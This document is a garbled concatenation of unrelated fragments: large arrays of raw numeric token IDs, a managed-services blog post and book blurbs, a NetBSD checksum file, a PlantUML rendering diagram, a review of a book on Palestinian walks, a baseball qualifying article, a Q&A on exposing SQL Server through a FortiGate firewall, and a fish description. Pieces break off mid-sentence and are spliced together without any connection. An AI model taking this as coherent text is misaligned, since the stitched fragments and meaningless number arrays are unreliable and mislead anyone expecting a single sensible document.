3625, 5691, 1108, 14596, 3304, 253, 7990, 273, 253, 2199, 2, 187, 187, 1552, 1270, 1652, 1984, 3400, 247, 2969, 1232, 2199, 7219, 285, 4323, 1232, 326, 310, 3477, 281, 3037, 285, 3477, 281, 9798, 281, 634, 6171, 13, 7715, 40560, 13, 285, 749, 14, 20987, 641, 15, 1422, 457, 620, 3037, 281, 3540, 667, 2199, 13, 5513, 512, 253, 8661, 281, 8548, 285, 6171, 13, 285, 12654, 326, 3253, 310, 6312, 327, 673, 285, 762, 7563, 15, 187, 187, 510, 4477, 921, 368, 247, 1270, 5853, 323, 2403, 2119, 326, 7990, 25461, 310, 247, 2181, 273, 253, 2469, 2, 10338, 1046, 2199, 247, 5547, 285, 27834, 2199, 2, 187, 187, 5518, 36, 5201, 14019, 21978, 187, 187, 42, 1056, 1046, 3177, 281, 20509, 1375, 752, 309, 2868, 285, 4264, 253, 7185, 273, 16920, 5913, 309, 1928, 751, 327, 436, 5311, 15, 831, 310, 247, 1943, 9542, 1533, 285, 309, 452, 1142, 36282, 3367, 285, 5702, 7688, 15, 187, 187, 42, 778, 275, 690, 1039, 4763, 2583, 390, 643, 5373, 432, 667, 273, 253, 3580, 13, 3238, 13, 390, 4413, 5393, 275, 436, 5311, 347, 247, 1480, 390, 11686, 906, 273, 619, 5231, 327, 285, 745, 436, 5311, 15, 6101, 2793, 5393, 1060, 310, 816, 619, 2793, 285, 309, 452, 642, 3640, 670, 1880, 352, 6125, 247, 6867, 2793, 342, 667, 3580, 13, 3238, 13, 390, 4413, 5393, 15, 187, 187, 43835, 352, 310, 1896, 281, 452, 1097, 271, 8274, 285, 247, 24363, 7914, 273, 619, 7234, 13, 4496, 5467, 33773, 15, 9375, 15, 428, 465, 7694, 81, 5, 8695, 33725, 27, 940, 5374, 13, 87, 337, 15, 24, 4104, 16, 883, 16, 2941, 17272, 27, 1717, 27, 1762, 639, 68, 17702, 370, 187, 187, 23855, 18, 313, 6892, 292, 1240, 14, 19, 15, 21, 15, 21, 15, 17447, 15, 20449, 10, 426, 260, 22981, 71, 22, 69, 25, 12847, 4148, 67, 1867, 2537, 3121, 1438, 71, 23, 1257, 26, 67, 24, 14836, 44527, 71, 30651, 70, 2511, 187, 51, 7414, 9913, 313, 6892, 292, 1240, 14, 19, 15, 21, 15, 21, 15, 17447, 15, 20449, 10, 426, 247, 70, 42420, 70, 17, 36814, 15148, 1540, 71, 2941, 5470, 453, 17015, 69, 2960, 20, 453, 68, 26, 71, 1549, 23525, 187, 23855, 19233, 313, 6892, 292, 1240, 14, 19, 15, 21, 15, 21, 15, 17447, 15, 20449, 10, 426, 1903, 67, 25, 68, 3342, 24, 69, 46043, 2511, 69, 23, 3348, 25, 1671, 4196, 67, 14380, 1678, 1257, 17, 3342, 18, 550, 71, 19, 67, 6357, 21, 68, 44159, 3763, 70, 24, 2428, 18, 69, 26, 4482, 1976, 6855, 26, 69, 20, 17391, 68, 39060, 69, 24, 69, 2357, 264, 2320, 5470, 2941, 9194, 32960, 7836, 18, 66, 1731, 68, 40363, 2251, 15662, 567, 67, 3953, 71, 1630, 3342, 21, 28744, 67, 17, 71, 26, 20210, 68, 187, 5496, 313, 6892, 292, 1240, 14, 19, 15, 21, 15, 21, 15, 17447, 15, 20449, 10, 426, 38624, 2511, 11061, 187, 33, 5478, 360, 77, 187, 21179, 3174, 3364, 187, 187, 12332, 5204, 26718, 27, 8600, 4041, 9270, 187, 36915, 26718, 187, 16560, 5204, 416, 3109, 7761, 27, 795, 11183, 3074, 26912, 12168, 84, 187, 36915, 416, 3109, 7761, 187, 26912, 7761, 5204, 416, 3109, 12168, 27, 5731, 187, 36915, 416, 3109, 12168, 187, 8, 26912, 12168, 5204, 416, 3109, 12168, 27, 795, 11183, 22156, 30760, 3145, 4124, 187, 26912, 12168, 5204, 9182, 631, 27, 5731, 187, 36915, 9182, 631, 187, 3145, 631, 5204, 31475, 27, 795, 12574, 34925, 187, 36915, 31475, 187, 31962, 5204, 45258, 8224, 27, 795, 12574, 34925, 187, 36915, 45258, 8224, 187, 34925, 8224, 5204, 45258, 8224, 27, 795, 12574, 26998, 28747, 187, 34925, 8224, 5204, 45258, 8224, 27, 795, 12574, 19878, 6998, 28747, 187, 14075, 187, 34925, 8224, 5204, 45258, 8224, 27, 795, 15697, 26912, 12535, 187, 34925, 8224, 5204, 416, 3109, 494, 27, 755, 26912, 17547, 187, 36915, 416, 3109, 494, 187, 26912, 494, 6781, 45258, 8224, 27, 416, 3109, 17547, 187, 615, 36915, 416, 3109, 494, 187, 34925, 8224, 5204, 416, 3109, 7761, 27, 795, 12574, 187, 36915, 416, 3109, 7761, 187, 26912, 7761, 6781, 45258, 8224, 187, 615, 36915, 416, 3109, 7761, 187, 423, 187, 34925, 8224, 6781, 31475, 187, 615, 36915, 45258, 8224, 187, 31962, 6781, 9182, 631, 187, 615, 36915, 31475, 187, 3145, 631, 6781, 416, 3109, 12168, 187, 615, 36915, 9182, 631, 187, 26912, 12168, 6781, 416, 3109, 7761, 187, 615, 36915, 416, 3109, 12168, 187, 26912, 7761, 6781, 26718, 187, 615, 36915, 416, 3109, 7761, 187, 16560, 6781, 11683, 187, 615, 36915, 26718, 187, 33, 423, 360, 77, 187, 1992, 2020, 598, 436, 4804, 27, 13491, 15, 733, 369, 13491, 281, 320, 275, 253, 3361, 273, 271, 19149, 19018, 13, 9940, 281, 253, 2847, 665, 556, 417, 4211, 521, 7765, 281, 253, 2144, 382, 22144, 15, 17549, 5781, 310, 247, 11115, 665, 556, 9940, 521, 1495, 281, 11132, 253, 13389, 7829, 327, 8213, 273, 2659, 2802, 1844, 10293, 457, 285, 253, 2488, 273, 773, 16281, 383, 34923, 8178, 661, 27, 21812, 327, 247, 10049, 3647, 8565, 9875, 6598, 17549, 5781, 310, 247, 288, 24736, 285, 1048, 673, 12833, 505, 273, 253, 19018, 2802, 48417, 3227, 16236, 29437, 13, 4388, 1417, 16771, 1475, 253, 2586, 1930, 15, 2053, 2802, 48417, 7110, 457, 476, 1390, 3038, 390, 2607, 13, 285, 21533, 253, 34057, 273, 253, 19018, 637, 15, 309, 574, 11697, 1620, 3735, 273, 436, 4062, 1919, 4361, 521, 1984, 13, 533, 597, 2186, 1270, 4549, 323, 479, 15, 380, 1055, 273, 731, 1146, 752, 344, 33690, 247, 2802, 34266, 1959, 1029, 457, 323, 597, 10808, 247, 3282, 273, 2802, 1059, 1076, 564, 457, 275, 253, 2802, 48417, 3227, 266, 15385, 831, 3282, 273, 13872, 564, 369, 752, 344, 11205, 323, 275, 521, 1984, 13, 281, 10808, 247, 17541, 34886, 3227, 275, 253, 9414, 13, 534, 275, 619, 4743, 344, 17288, 27839, 15, 49920, 247, 7989, 273, 253, 21833, 34886, 3227, 13, 309, 717, 247, 6722, 1388, 44266, 254, 13, 309, 1663, 4802, 342, 521, 1984, 13, 285, 19155, 352, 253, 1682, 1984, 3542, 407, 247, 19018, 13, 326, 309, 452, 1239, 326, 310, 15, 187, 187, 998, 2370, 273, 253, 5389, 19018, 13016, 490, 517, 347, 513, 253, 6281, 273, 521, 1211, 2021, 13, 46952, 34886, 5582, 2458, 313, 2577, 1307, 582, 253, 23816, 1663, 1056, 253, 1659, 1705, 9338, 13, 285, 13279, 247, 747, 3497, 4830, 638, 14, 20774, 318, 19018, 1495, 15, 754, 1057, 417, 4656, 2994, 281, 27471, 285, 19365, 14, 85, 2339, 2167, 13, 521, 16771, 13905, 2067, 8007, 285, 7613, 253, 9414, 25767, 253, 9086, 2827, 4442, 2454, 273, 29313, 275, 253, 17628, 273, 247, 954, 23180, 13, 43837, 285, 48635, 17238, 15, 187, 187, 688, 253, 2469, 344, 651, 3213, 562, 273, 521, 2914, 3369, 285, 564, 323, 247, 34702, 13, 6429, 18628, 285, 5211, 15, 3954, 352, 310, 7520, 281, 1089, 247, 1854, 875, 253, 1114, 36842, 27885, 326, 8689, 1947, 598, 275, 29313, 1501, 14, 48, 37953, 13, 285, 310, 2802, 43408, 457, 281, 25021, 8115, 275, 1340, 281, 3693, 11449, 569, 342, 2223, 12338, 34684, 15, 754, 23679, 2224, 253, 2957, 273, 436, 2469, 553, 13, 285 ]

seeking advice because your way needs improvement. So why are you stripping out bits and pieces of their advice so that the action plan looks more like what you've already been doing? Reason One: You're most comfortable with what you've done in the past. True. But that got you here and you want to move on. Doing more of the same is going to get you more of the same. Reason Three: It costs too much money. Finding the right list costs money. Doing a mailing of 3-4 pages and repeating it 3-4 times costs money. It can costs a couple thousand dollars. What if you don't get any response? Reality check: In order to save money and play it safe, you are very tempted to go cheap on the list, do a 1-2 page letter, and only repeat it once. What have you done? You've mailed to the wrong people with a watered down message, and you haven't reinforced it. But at least you get to blame your advisors! After all, "their" program didn't work. Sunday, December 02, 2007 My dear sainted mother used to use the word "futz" a lot. Here are a few uses for the word: - Quit futzing around.- Don't futz with that. To futz is to play with something or meddle with it when you should be leaving it alone. For example, when you're making something, there comes a time when you glue it in place and then you have to just sit and wait. If you futz with it, for example by moving a part to see if the glue is dry, you're likely to reduce the quality of the final product. It's not that you will ruin the craft, but maybe that one piece will just never go back to exactly where it was supposed to be. Another example is when you plant seeds. You wait and wait, but no plant appears. When one day there's a little crack in the soil, you want to chip it out to help the plant break through. That's futzing. The plant will be just fine without your futzing. We futz because we're eager to see the fruits of our labor. We've put something together and we want to see if it works the way it's supposed to. Very often, we futz too much with our businesses. We put a new process in place -- maybe HaaS or managed services. That's a big, major change. Once you make a change like that, it is very tempting to futz with it. In other words, you don't give the new program a chance before you start making little changes here and there. You find yourself constantly checking up on it. Playing a little here, playing a little there. Stop futzing. If you've thought through your plan, you have a good plan, and it's all in place, then leave it alone for awhile. Let the plan work. Take notes, collect them, and do some revisions after a period of time. In the meantime, put all that excitement and nervous energy into the next project. Managed Services on Amazon Hot Books for Managed Services This four-volume set is the definitive guide to Managed Services. From the front office to the tech department, we cover it all. Every computer consultant, every managed service provider, every technical consulting company - every successful business - needs SOPs! When you document your processes and procedures, you design a way for your company to have repeatable success. And as you fine-tune those processes and procedures, you become more successful, more efficient, and more profitable. The way you do everything is your brand. How to Deliver Successful, Profitable Projects on Time with Your Small Business Clients Small Business project management is simply not as complicated as project management in the enterprise. But small business projects have the same challenges as enterprise projects: They need to achieve their goals effectively, on time, and within budget. They also face the same primary challenge – staying inside the scope of the project! This great little book provides a simple process project planning and management process that is easy to learn and easy to teach to your employees, fellow technicians, and sub-contractors. You’ll learn to track any project, explain all the stages to clients and employees, and verify that everything is completed on time and under budget. The authors show you a great technique for making sure that scope creep is a thing of the past! Make every project a successful and profitable project! FTC Disclosure Statement I make every attempt to honestly state what I believe and enjoy the freedom of posting whatever I feel like on this blog. This is a big complicated world and I have many interconnected personal and professional relationships. I may in some way receive money or other benefits from any of the products, services, or companies mentioned in this blog as a direct or indirect result of my actions on and off this blog. Any experience mentioned here is just my experience and I have no knowledge about whether it represents a typical experience with any products, services, or companies mentioned. Whenever it is possible to have both an honest and a misleading interpretation of my statements, please assume honesty. Thanks. - karlp$NetBSD: distinfo,v 1.7 2015/11/03 03:29:05 agc Exp $ SHA1 (Cheetah-2.4.4.tar.gz) = c218f5d8bc97b39497680f6be9b7bd093f696e89 RMD160 (Cheetah-2.4.4.tar.gz) = ae516e090313864f03dbfe131dada3fec9f60243 SHA512 (Cheetah-2.4.4.tar.gz) = 11b8cbf7d71789d6ae83596b133ddbe0bf1ccf2bca4c59562e7cd1d9bb75fa9d3208c0021d7d77edafdb03fd399cf1a26c003267fbffb94f27bf4457b0f9234c Size (Cheetah-2.4.4.tar.gz) = 190989 bytes @startuml hide footbox Application -> Root: renderOneFrame activate Root Root -> RenderSystem: _updateAllRenderTargets activate RenderSystem RenderSystem -> RenderTarget: update activate RenderTarget 'RenderTarget -> RenderTarget: _updateAutoUpdatedViewports RenderTarget -> Viewport: update activate Viewport Viewport -> Camera: _renderScene activate Camera Camera -> SceneManager: _renderScene activate SceneManager SceneManager -> SceneManager: _renderVisibleObjects SceneManager -> SceneManager: _renderQueueGroupObjects loop SceneManager -> SceneManager: _issueRenderOp SceneManager -> Renderable: getRenderOperation activate Renderable Renderable --> SceneManager: RenderOperation deactivate Renderable SceneManager -> RenderSystem: _render activate RenderSystem RenderSystem --> SceneManager deactivate RenderSystem end SceneManager --> Camera deactivate SceneManager Camera --> Viewport deactivate Camera Viewport --> RenderTarget deactivate Viewport RenderTarget --> RenderSystem deactivate RenderTarget RenderSystem --> Root deactivate RenderSystem Root --> Application deactivate Root @enduml To sum up this meeting: lovely. It was lovely to be in the presence of an educated Palestinian, dedicated to the cause who has not sold his soul to the materialist devil. Rajaa is a lawyer who has dedicated his life to challenging the Israeli courts on matters of land ‘requisition’ and the author of “Palestinian Walks: Notes on a Vanishing Landscape”. Rajaa is a hiker and long time enthusiast of the Palestinian ‘sarha’, solitary, aimless walks around the country side. These ‘sarhas’ can last hours or months, and traditionally the hobby of the Palestinian man. I had personally never heard of this tradition until reading his book, but they hold great appeal for me. The effect of them being what he dubbed a ‘drug free high’ for they induce a sense of ‘letting go’ in the ‘sarhaan’. This sense of letting go was what he aimed for in his book, to induce a literary sarha in the reader, which in my opinion he succeeded beautifully. Personally a fan of the imaginary sarha, I am a chronic daydreamer, I really connected with his book, and dub it the best book written by a Palestinian, that I have read that is. Stories of the beautiful Palestinian landscape abound as do the stories of his own family, avid sarhanians (my term), the wildlife really make the place come alive, and opens a new window onto pre-occupation Palestinian life. He does not restrict himself to imagery and folk-tales though, his walks span several decades and hence the reader encounters the rapidly eroding face of Palestine in the grip of a most brutal, arrogant and grasping occupation. In the past he would step out of his front door and go for a wander, mapless and happy. Now it is rare to find a path between the monolithic settlements that sprung up in Palestine post-Oslo, and is ‘reduced’ to consulting maps in order to avoid confrontations with often violent settlers. He mourns the loss of this pastime, and

[ 14149, 432, 253, 48222, 434, 24312, 15, 2064, 310, 13, 253, 2285, 14149, 432, 253, 13688, 434, 24312, 1537, 320, 17527, 5747, 10305, 760, 581, 2165, 15, 187, 187, 32235, 285, 5628, 14616, 46392, 1912, 616, 28661, 37410, 281, 1091, 281, 253, 2022, 14811, 13, 1223, 11268, 285, 10869, 12165, 281, 1056, 616, 3645, 27141, 27015, 11386, 84, 15, 187, 187, 2214, 4240, 28661, 13, 6976, 13, 8987, 13, 11268, 13, 285, 10869, 497, 50217, 281, 253, 35011, 3924, 15, 20676, 994, 9231, 37783, 285, 3684, 7531, 4895, 13, 7416, 407, 253, 643, 12470, 12390, 13, 342, 253, 6517, 273, 23174, 13, 665, 369, 7932, 407, 13115, 13, 665, 369, 12470, 1563, 697, 608, 394, 14, 5070, 8416, 387, 253, 4104, 11650, 27141, 11218, 15, 187, 187, 8447, 273, 18655, 407, 2285, 2490, 187, 3378, 247, 2014, 6517, 13, 512, 2045, 5014, 275, 411, 3979, 28661, 37410, 452, 4783, 327, 281, 10078, 275, 1046, 6774, 411, 3979, 13, 2057, 275, 253, 28661, 14811, 390, 253, 2022, 14811, 15, 50276, 510, 6517, 310, 23174, 13, 534, 13640, 275, 253, 4072, 4426, 5425, 15, 187, 187, 3074, 1253, 2606, 28661, 3330, 1253, 18585, 5861, 187, 26180, 967, 1543, 273, 4072, 285, 4240, 4426, 13783, 15, 187, 187, 6407, 7286, 275, 35011, 407, 2285, 187, 187, 4941, 187, 187, 7504, 4859, 187, 38023, 4422, 187, 9340, 13, 416, 493, 398, 708, 48522, 187, 187, 1413, 27, 14947, 27141, 27015, 187, 1413, 27, 34255, 1877, 323, 9001, 3394, 50, 27, 187, 187, 2347, 281, 20486, 530, 14592, 281, 27938, 2289, 11700, 13331, 8012, 416, 19, 187, 187, 42, 452, 8038, 11700, 13331, 4695, 416, 19, 327, 619, 4771, 285, 1716, 13206, 11700, 4771, 285, 7464, 43505, 8038, 327, 4771, 15, 1147, 2987, 4030, 689, 253, 37439, 15, 187, 4125, 309, 717, 2820, 281, 2289, 352, 689, 8573, 342, 253, 1345, 13997, 273, 776, 4771, 15, 1231, 452, 8038, 530, 14592, 10188, 12894, 43505, 323, 3988, 15, 187, 5804, 667, 581, 2028, 479, 849, 812, 309, 20486, 530, 14592, 323, 4156, 2289, 273, 11700, 4771, 38199, 187, 187, 34, 27, 187, 187, 1394, 878, 281, 20486, 247, 35625, 428, 25750, 8153, 13, 285, 247, 2245, 10603, 15, 380, 35625, 3198, 281, 8028, 327, 634, 6024, 5673, 13, 285, 294, 14, 18711, 253, 7137, 281, 253, 4812, 4771, 15, 2615, 320, 2218, 275, 29856, 13, 390, 3066, 49809, 27, 187, 5397, 43505, 362, 532, 187, 50274, 15576, 346, 11296, 64, 9438, 3, 187, 50274, 1178, 1021, 44313, 16375, 22108, 64, 338, 21760, 187, 50274, 1178, 2245, 10495, 8046, 187, 50274, 1178, 18301, 532, 654, 532, 64, 1171, 64, 9438, 31, 187, 50274, 1178, 1021, 631, 654, 22108, 64, 631, 64, 9133, 64, 936, 64, 42050, 64, 251, 31, 187, 50274, 1178, 18301, 631, 654, 11577, 64, 631, 64, 251, 64, 9438, 31, 187, 50274, 423, 187, 423, 187, 187, 5397, 43505, 3646, 187, 15576, 470, 187, 50274, 1178, 6740, 44313, 16375, 22108, 64, 338, 21760, 187, 50274, 1178, 24334, 44313, 346, 11577, 64, 338, 3, 187, 50274, 1178, 6740, 9834, 346, 455, 3, 187, 50274, 1178, 24334, 9834, 346, 11296, 64, 9438, 3, 187, 50274, 1178, 2250, 2997, 187, 50274, 1178, 10130, 346, 25737, 3, 187, 50274, 1178, 2579, 346, 5626, 3, 187, 423, 187, 423, 187, 187, 6436, 13, 407, 2509, 436, 368, 403, 28248, 634, 21512, 4771, 281, 253, 2644, 8573, 15, 309, 651, 7052, 1804, 368, 671, 897, 19676, 285, 6830, 2701, 253, 6740, 8153, 7990, 4136, 281, 2289, 253, 35625, 15, 535, 34, 719, 11014, 73, 656, 281, 420, 46784, 187, 187, 34, 719, 11014, 73, 656, 281, 420, 46784, 13, 7744, 1929, 347, 253, 1308, 19300, 14, 14694, 1873, 12306, 13, 310, 247, 3417, 273, 1471, 398, 267, 17787, 6773, 534, 14125, 281, 253, 2021, 4200, 317, 14718, 15203, 285, 310, 14414, 4768, 253, 20856, 12685, 273, 253, 2102, 80, 14, 8535, 11553, 15, 733, 310, 247, 1355, 6773, 326, 476, 3986, 247, 4869, 1979, 273, 1249, 575, 3591, 2978, 285, 556, 253, 3745, 281, 9086, 1818, 3295, 285, 4808, 14542, 285, 6127, 347, 281, 3693, 5481, 285, 17912, 2063, 318, 537, 733, 310, 14246, 532, 274, 528, 187, 187, 11185, 209, 187, 2374, 3388, 13, 352, 13794, 432, 495, 15, 25, 14, 25, 15, 26, 50176, 313, 18, 15, 22, 14, 20, 15, 22, 13048, 10, 275, 2978, 15, 733, 556, 3435, 14, 1229, 1115, 49898, 285, 3436, 14, 1717, 1115, 2602, 23154, 15, 187, 187, 35207, 285, 24253, 1497, 209, 187, 1147, 310, 1119, 275, 253, 12685, 1475, 24206, 31642, 13, 35542, 304, 11938, 8930, 13, 253, 22075, 13, 23340, 13, 1457, 34410, 13, 28748, 13, 1457, 2263, 264, 9409, 13, 285, 37477, 66, 15, 733, 14400, 953, 20126, 34110, 294, 23172, 13, 4510, 804, 7118, 273, 253, 43544, 534, 3831, 396, 356, 13404, 15, 733, 41469, 9208, 273, 3435, 15, 23, 14, 1717, 7759, 330, 1241, 3750, 313, 3593, 15, 24, 14, 2759, 15, 19, 7759, 401, 39114, 23867, 582, 247, 18224, 7768, 4719, 273, 577, 15, 3712, 14, 21, 15, 3046, 14141, 16, 45, 313, 1857, 740, 14, 1857, 2270, 28273, 582, 285, 247, 6864, 273, 374, 1253, 1010, 17249, 313, 23, 15, 23, 14, 2537, 15, 19, 4669, 481, 187, 187, 37, 2880, 209, 187, 1147, 28468, 327, 29555, 532, 24322, 13, 877, 3155, 66, 6214, 13, 285, 48315, 316, 661, 15, 187, 187, 4941, 187, 187, 7504, 4859, 187, 2413, 1358, 2700, 15, 4175, 1100, 1553, 447, 15, 2061, 16, 9761, 571, 15, 5581, 32, 81, 30, 9292, 23454, 7, 301, 30, 1423, 361, 3439, 187, 2413, 1358, 2700, 15, 12306, 4793, 15, 2061, 16, 8774, 16, 3141, 2537, 19668, 187, 1413, 27, 9304, 317, 14718, 15203, 187, 1413, 27, 48290, 2529, 275, 1722, 3680, 41032, 472, 10213, 388, 276, 47612, 187, 187, 41032, 472, 10213, 388, 276, 47612, 313, 6448, 23438, 10, 310, 271, 2448, 8406, 273, 15535, 13, 3644, 16879, 285, 5859, 14459, 2159, 6281, 285, 19204, 15, 50276, 1328, 556, 574, 689, 22121, 6281, 3863, 1580, 15621, 15, 50276, 1328, 556, 644, 42193, 17234, 323, 11122, 285, 6865, 1580, 8065, 15, 187, 187, 2302, 652, 84, 708, 2159, 14459, 18406, 187, 510, 44523, 273, 24367, 19534, 313, 14880, 10, 187, 42728, 40562, 313, 12487, 10, 187, 32277, 253, 15390, 313, 12430, 10, 313, 3113, 12824, 8652, 285, 6270, 20424, 27148, 3370, 10, 187, 42, 10540, 1422, 285, 1707, 1680, 13529, 1422, 2615, 3166, 11376, 733, 313, 11496, 10, 187, 45615, 281, 17358, 313, 9595, 10, 187, 15383, 2207, 348, 2352, 432, 329, 360, 313, 6914, 10, 187, 510, 35887, 2064, 12349, 7903, 313, 8971, 10, 187, 55, 3836, 11970, 247, 322, 700, 3606, 418, 561, 313, 10016, 10, 187, 510, 31683, 32261, 313, 8012, 10, 187, 45615, 4325, 17358, 313, 8602, 10, 187, 34, 14169, 273, 26464, 398, 313, 7857, 10, 187, 13689, 272, 323, 353, 2131, 25714, 313, 6622, 10, 187, 29285, 3228, 27, 329, 10733, 5021, 17078, 313, 6961, 10, 313, 3113, 14468, 45746, 10, 187, 510, 659, 272, 273, 26733, 13, 253, 44850, 273, 27955, 313, 6961, 10, 187, 688, 253, 17241, 273, 20909, 272, 2639, 580, 507, 50276, 9, 7132, 10, 187, 29285, 26733, 1373, 313, 7798, 10, 187, 187, 37701, 5970, 187, 39204, 46574, 313, 11496, 10, 187, 36205, 330, 1832, 378, 28590, 13, 342, 443, 9780, 313, 10016, 10, 187, 36205, 12441, 434, 20816, 272, 5819, 316, 273, 411, 23023, 285, 11777, 6929, 13715, 10684, 13, 342, 443, 9780, 313, 8603, 10, 187, 34868, 21869, 40562, 313, 6961, 10, 187, 187, 5035, 671, 187, 2765, 273, 15535, 14459, 4477, 187, 187, 7504, 4859, 187, 41032, 472, 388, 276, 47612, 13, 40671, 388, 276, 47612, 434, 1211, 2670, 187, 41353, 187, 2388, 1374, 313, 6914, 10, 387, 14182, 38, 4039, 187, 187, 41032, 472, 388, 276, 47612, 13, 4110, 39, 8904, 187, 510, 29746, 273, 1503, 4894, 466, 10540, 9018, 10348, 14311, 3774, 4902, 27, 4480, 68, 20708, 6398, 275, 2802, 2993, 457, 69, 10338, 247, 16631, 3083, 27688, 77, 457, 285, 1608, 16044, 273, 253, 16631, 5201, 21454, 13, 380, 9109, 273, 39921, 12294, 6045, 187, 16929, 285, 6865, 20308, 187, 55, 3836, 11970, 329, 322, 700, 3606, 418, 561, 13, 41486, 33022, 2278, 209, 187, 34, 14169, 273, 26464, 398, 13, 41486, 33022, 2278, 187, 688, 253, 17241, 273, 20909, 272, 2639, 580, 507, 13, 41486, 33022, 8439, 187, 187, 1413, 27, 14316, 952, 187, 1413, 27, 7878, 15535, 11597, 187, 1413, 27, 7878, 2159, 2926, 11597, 187, 1413, 27, 7878, 5086, 2159, 2926, 11597, 187, 1413, 27, 7878, 5086, 4460, 1346, 187, 1413, 27, 38460, 10782, 187, 1413, 27, 938, 394, 14, 9888, 2448, 4460, 1346, 187, 1413, 27, 938, 394, 14, 9888, 2448, 5086, 11597, 39, 2966, 763, 37491, 303, 86, 12568, 24973, 3683, 44925, 273, 23780, 21576, 187, 187, 48, 21362, 14, 3169, 37491, 303, 86, 12568, 556, 4950, 44925, 273, 23780, 21576, 13, 616, 15146, 1959, 14, 936, 14, 1993, 13, 16879, 2165, 2962, 323, 6109, 4095, 15, 187, 187, 688, 1033, 1250, 407, 5842, 7205, 30355, 285, 5899, 2829, 3956, 2554, 14, 30758, 3958, 13, 3773, 275, 44925, 273, 23780, 21576, 1379, 327, 253, 2554, 273, 247, 8080, 7205, 15, 380, 2165, 3386, 247, 3352, 8572, 14, 20419, 2926, 3948, 326, 10513, 247, 14511, 12423, 1561, 1437, 84, 13, 1223, 671, 11365, 4451, 3394, 285, 17268, 15, 187, 187, 1628, 1231, 403, 22500, 670, 2554, 14, 30758, 3958, 285, 436, 9908, 2722, 275, 3253, 359, 513, 1806, 2296, 37491, 303, 86, 12568, 11731, 8969, 80, 611, 1392, 384, 1392, 21380, 15, 773, 6067, 2285, 310, 512, 670, 16879, 20490, 1425, 187, 187, 9063, 562, 253, 9765, 30355, 19150, 27, 187, 187, 41, 2771, 265, 273, 23780, 21576, 310, 47395, 323, 2602, 14, 4123, 43157, 327, 10469, 285, 16567, 4095, 275, 3609, 4343, 436, 4565, 15, 50254, 50275, 4037, 39213, 44024, 187, 187, 33249, 18746, 14732, 3481, 24730, 187, 50262, 9675, 3003, 45617, 3886, 32984, 535, 187, 33249, 18746, 3481, 46063, 13, 50264, 171, 98, 122, 187, 50261, 19056, 14, 28107, 13, 187, 50261, 87, 15, 50258, 171, 98, 123, 50267, 2302, 15, 16703, 14, 1449, 3357, 187, 43, 37743, 388, 3271, 15157, 11324, 15122, 2637, 13, 38175, 904, 187, 50265, 25187, 14, 16667, 15, 187, 50254, 245, 50265, 171, 98, 124, 187, 50266, 40417, 432, 253, 1986, 2077, 4412, 2111, 187, 50271, 1542, 253, 10515, 4412, 273, 3729, 9756, 13, 387, 37870, 15, 187, 50262, 23684, 418, 15, 49000, 257, 13, 4412, 6798, 15, 187, 50254, 50274, 9, 1311, 14, 2941, 14, 1812, 10, 535, 50256, 42520, 27, 4223, 2030, 13, 6157, 535, 50256, 34038, 27, 4397, 1668, 13, 6157, 535, 50270, 8639, 7840, 1703, 37, 285, 399, 34893, 1539, 13, 6817, 19592, 13, 285, 187, 50262, 41, 2300, 3077, 18587, 13, 17696, 6817, 6798, 15, 2756, 187, 49504, 407, 27085, 591, 43215, 4743, 15, 2756, 50254, 50272, 36, 32671, 27300, 187, 187, 21309, 418, 15, 8771, 282, 620, 266, 13, 8019, 38, 58, 13, 353, 2648, 1843, 2293, 1539, 13, 443, 1194, 18587, 708, 308, 1556, 14, 187, 36, 31219, 13, 418, 15, 45, 15, 49, 904, 33315, 32485, 13, 3729, 9756, 13, 323, 9517, 15, 16543, 187, 46, 3171, 411, 5154, 254, 13, 1986, 2077, 10158, 13, 22707, 378, 15, 27737, 5943, 13, 17762, 187, 11586, 2077, 10158, 13, 33315, 32485, 13, 3729, 9756, 13, 323, 22706, 15, 187, 189, 19, 50257, 33249, 18746, 362, 15, 11324, 15122, 2637, 187, 2447, 15855, 11626, 403, 417, 4865, 19440, 275, 436, 5049, 15, 2594, 187, 12599, 7804, 5540, 9, 68, 481, 2756, 50254, 50272, 36111, 187, 187, 10810, 34319, 27, 535, 50275, 18448, 4716, 1342, 19896, 920, 13, 10512, 904, 12527, 521, 9611, 285, 278, 7447, 14, 187, 85, 590, 1495, 6197, 323, 13445, 281, 16969, 16394, 2613, 13, 275, 2757, 66, 14, 187, 19606, 273, 3127, 530, 15, 52, 15, 36, 15, 20485, 43909, 9, 67, 2769, 18, 2769, 34, 582, 854, 2950, 313, 6914, 582, 285, 767, 9372, 273, 187, 35360, 273, 16394, 2613, 13, 275, 8411, 273, 3127, 530, 15, 52, 15, 36, 15, 20485, 43909, 9, 66, 2769, 18, 582, 187, 9, 67, 2769, 18, 2769, 35, 10, 313, 6914, 481, 535, 50275, 35, 31041, 806, 12148, 326, 253, 3286, 1302, 14416, 407, 14624, 521, 187, 3456, 14, 21845, 3200, 323, 247, 1302, 14, 40364, 25881, 15, 844, 2278, 323, 271, 187, 357, 2327, 273 ]

emerging from the loser's bracket. That is, the team emerging from the winner's bracket might be eliminated despite losing only one game. Canada and Chinese Taipei won their qualifying tournaments to return to the main tournament, while Spain and Brazil qualified to make their World Baseball Classic debuts. For 2017 qualifying, Australia, Mexico, Spain, and Brazil were relegated to the qualification stage. Previous entrants Panama and South Africa returned, joined by the other invited nations, with the exception of Thailand, who was replaced by Pakistan, who was invited following its 5th-place finish at the 2015 Asian Baseball Championship. Number of appearances by team With a single exception, all previous participants in WBC qualifying tournaments have gone on to participate in every subsequent WBC, either in the qualifying tournament or the main tournament. The exception is Thailand, which participated in the 2013 qualifier. All–time qualifying win–loss records Combined results of 2013 and 2017 qualifiers. First appearance in qualification by team References External links Official website Results, Rosters & Stats Category:World Baseball Classic Category:Qualification for sports eventsQ: How to configure UTM to remotely access SQL Server2008 R2 I have installed SQL Server 2008 R2 on my server and Configure SQL server and Windows firewall installed on server.It works fine over the LAN. Now I am trying to access it over internet with the public ip of our server.We have installed UTM Fortigate firewall for security. Can any one tell me how could I configure UTM for global access of SQL server?? A: You need to configure a VIP - Virtual IP, and a port mapping. The VIP needs to listen on your external interface, and re-direct the traffic to the internal server. Can be done in GUI, or via CLI: config firewall vip edit "sql_server" set extintf "<external_if>" set portforward enable set mappedip <ip_of_server> set extport <external_port_number_to_listen_on> set mappedport <internal_port_on_server> end end config firewall policy edit 0 set srcintf "<external_if>" set dstintf "internal_if" set srcaddr "all" set dstaddr "sql_server" set action accept set schedule "always" set service "ALL" end end However, by doing this you are exposing your sql server to the whole internet. I would strongly suggest you also use authentication and possibly limit the src IP scope allowed to access the VIP. Acreichthys tomentosus Acreichthys tomentosus, commonly known as the bristle-tail filefish, is a species of demersal marine fish which belongs to the family Monacanthidae 